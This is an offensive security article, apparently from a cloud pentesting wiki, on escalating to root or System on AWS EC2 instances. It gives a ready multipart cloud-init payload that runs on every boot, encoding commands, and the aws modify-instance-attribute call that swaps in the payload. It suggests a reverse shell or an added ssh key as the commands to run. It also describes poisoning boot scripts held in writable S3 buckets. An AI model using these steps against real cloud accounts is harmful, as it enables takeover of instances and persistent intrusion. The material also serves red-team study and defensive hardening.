Article by Nick Frichette
EC2 Privilege Escalation Through User Data
If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.
ec2:ModifyInstanceAttribute¶
-
Required IAM Permissions
-
Recommended but not Required IAM Permissions
-
Original Research
If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.
Usually, user data scripts are only run the first time the instance is started.
One trick to bypass this limitation uses the #cloud-boothook
directive, which instructs the instance to run the code on each boot.
An alternative approach uses a special cloud-init cloud-config
to prompt a run every time the instance restarts.
To do this, first create a file in the following format.
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
**commands here**
--//
Modify the commands here
section to do whatever action you want. Setting a reverse shell, adding an ssh key to the default user, etc. are all good options.
Once you've done that, convert the file to base64. Linux can do this with the following command.
base64 file.txt > file.b64.txt
Windows can do this with the following command.
certutil -encode file.txt tmp.b64 && findstr /v /c:- tmp.b64 > file.b64.txt
Now that you've base64 encoded your payload, you will leverage the ec2:ModifyInstanceAttribute API call to change the user data of the target instance.
Note
The instance will need to be stopped to modify its user data. You'll either have to stop it yourself, or wait for something else to stop it.
aws ec2 modify-instance-attribute \
--instance-id=xxx \
--attribute userData \
--value file://file.b64.txt
With that change made, simply start the instance again and your command will be executed with root/System.
Leverage scripts in S3¶
A common pattern when using EC2 is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download and set a config, etc. Oftentimes the scripts and packages are pulled from S3 and this introduces an opportunity for a developer/ops person to make a mistake.
If the IAM role is too permissive and allows the role to write to that location, an adversary can leverage this for privilege escalation. Additionally, if there is any other kind of misconfiguration on the bucket itself, or another role which has access gets compromised, an adversary can take advantage of this as well.
Take the following user data script:
#!/bin/bash
aws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh
chmod +x /root/start_script.sh
/root/start_script.sh
On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.
Note
In addition to new instances being spun up or after a reboot, poisoning the scripts/applications can also effect EC2 instances in an Auto Scaling Group.